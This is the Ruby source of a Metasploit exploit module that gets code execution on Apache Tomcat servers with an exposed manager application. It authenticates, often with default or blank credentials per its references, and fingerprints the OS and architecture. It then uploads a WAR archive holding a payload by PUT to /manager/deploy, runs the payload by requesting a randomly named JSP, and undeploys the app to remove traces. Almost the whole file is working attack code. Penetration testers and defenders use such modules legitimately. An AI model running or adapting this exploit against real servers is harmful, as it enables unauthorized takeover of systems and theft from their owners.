Apache Tomcat Manager Application Deployer Authenticated Code Execution



##

# $Id: tomcat_mgr_deploy.rb 11330 2010-12-14 17:26:44Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',
            'Description'    => %q{
                    This module can be used to execute a payload on Apache Tomcat servers that
                have an exposed "manager" application. The payload is uploaded as a WAR archive
                containing a jsp application using a PUT request.

                The manager application can also be abused using /manager/html/upload, but that
                method is not implemented in this module.
            },
            'Author'      => [ 'jduck' ],
            'License'        => MSF_LICENSE,
            'Version'     => '$Revision: 11330 $',
            'References'  =>
                [
                    # There is no single vulnerability associated with deployment functionality.
                    # Instead, the focus has been on insecure/blank/hardcoded default passwords.

                    # The following references refer to HP Operations Manager
                    [ 'CVE', '2009-3843' ],
                    [ 'OSVDB', '60317' ],
                    [ 'CVE', '2009-4189' ],
                    [ 'OSVDB', '60670' ],

                    # HP Operations Dashboard
                    [ 'CVE', '2009-4188' ],

                    # IBM Cognos Express Default user/pass
                    [ 'BID', '38084' ],
                    [ 'CVE', '2010-0557' ],
                    [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ],

                    # IBM Rational Quality Manager and Test Lab Manager
                    [ 'CVE', '2010-4094' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-214/' ],

                    # 'admin' password is blank in default Windows installer
                    [ 'CVE', '2009-3548' ],
                    [ 'OSVDB', '60176' ],
                    [ 'BID', '36954' ],

                    # tomcat docs
                    [ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ]
                ],
            'Platform'    => [ 'java', 'win', 'linux' ], # others?
            'Targets'     =>
                [
                    #
                    # detect via /manager/serverinfo
                    #
                    [ 'Automatic', { } ],

                    [ 'Java Universal',
                        {
                            'Arch' => ARCH_JAVA,
                            'Platform' => 'java'
                        },
                    ],

                    #
                    # Platform specific targets only
                    #
                    [ 'Windows Universal',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'win'
                        },
                    ],

                    [ 'Linux x86',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'linux'
                        },
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Nov 09 2009'))

        register_options(
            [
                OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
                OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
                OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
                # /cognos_express/manager/ for Cognos Express (19300)
                OptString.new('PATH', [ true,  "The URI path of the manager app (/deploy and /undeploy will be used)", '/manager'])
            ], self.class)
    end


    def auto_target
        print_status("Attempting to automatically select a target...")

        res = query_serverinfo()
        return nil if not res

        plat = detect_platform(res.body)
        arch = detect_arch(res.body)

        # No arch or platform found?
        if (not arch or not plat)
            return nil
        end

        # see if we have a match
        targets.each { |t|
            if (t['Platform'] == plat) and (t['Arch'] == arch)
                return t
            end
        }

        # no matching target found
        return nil
    end


    def exploit
        datastore['BasicAuthUser'] = datastore['USERNAME']
        datastore['BasicAuthPass'] = datastore['PASSWORD']

        mytarget = target
        if (target.name =~ /Automatic/)
            mytarget = auto_target
            if (not mytarget)
                raise RuntimeError, "Unable to automatically select a target"
            end
            print_status("Automatically selected target \"#{mytarget.name}\"")
        else
            print_status("Using manually select target \"#{mytarget.name}\"")
        end

        # We must regenerate the payload in case our auto-magic changed something.
        p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)

        # Generate the WAR containing the EXE containing the payload
        jsp_name = rand_text_alphanumeric(4+rand(32-4))
        app_base = rand_text_alphanumeric(4+rand(32-4))

        # Generate the WAR containing the payload
        war = p.encoded_war({
                :app_name => app_base,
                :jsp_name => jsp_name,
                :arch => mytarget.arch,
                :platform => mytarget.platform
            }).to_s

        query_str = "?path=/" + app_base

        #
        # UPLOAD
        #
        path_tmp = datastore['PATH'] + "/deploy" + query_str
        print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
        res = send_request_cgi({
            'uri'          => path_tmp,
            'method'       => 'PUT',
            'ctype'        => 'application/octet-stream',
            'data'         => war,
        }, 20)
        if (! res)
            raise RuntimeError, "Upload failed on #{path_tmp} [No Response]"
        end
        if (res.code < 200 or res.code >= 300)
            case res.code
            when 401
                print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
            end
            raise RuntimeError, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]"
        end

        #
        # EXECUTE
        #
        jsp_path = '/' + app_base + '/' + jsp_name + '.jsp'
        print_status("Executing #{jsp_path}...")
        res = send_request_cgi({
            'uri'          => jsp_path,
            'method'       => 'GET'
        }, 20)

        if (! res)
            print_error("Execution failed on #{app_base} [No Response]")
        elsif (res.code < 200 or res.code >= 300)
            print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
            print_status(res.body) if datastore['VERBOSE']
        end

        #
        # DELETE
        #
        path_tmp = datastore['PATH'] + "/undeploy" + query_str
        print_status("Undeploying #{app_base} ...")
        res = send_request_cgi({
            'uri'          => path_tmp,
            'method'       => 'GET'
        }, 20)
        if (! res)
            print_error("WARNING: Undeployment failed on #{path} [No Response]")
        elsif (res.code < 200 or res.code >= 300)
            print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")
        end

        handler
    end

    def query_serverinfo()
        path = datastore['PATH'] + '/serverinfo'
        res = send_request_raw(
            {
                'uri'   => path
            }, 10)

        if (not res) or (res.code != 200)
            print_error("Failed: Error requesting #{path}")
            return nil
        end

        print_status(res.body) if datastore['VERBOSE']

        return res
    end

    def detect_platform(body = nil)
        if not body
            res = query_serverinfo()
            return nil if not res
            body = res.body
        end

        body.each_line { |ln|
            ln.chomp!

            case ln
            when /OS Name: /
                os = ln.split(':')[1]
                case os
                when /Windows/
                    return 'win'

                when /Linux/
                    return 'linux'

                end
            end
        }
    end

    def detect_arch(body)
        body.each_line { |ln|
            ln.chomp!

            case ln
            when /OS Architecture: /
                ar = ln.split(':')[1].strip
                case ar
                when 'x86', 'i386', 'i686'
                    return ARCH_X86

                when 'x86_64', 'amd64'
                    return ARCH_X86

                end
            end
        }
    end

end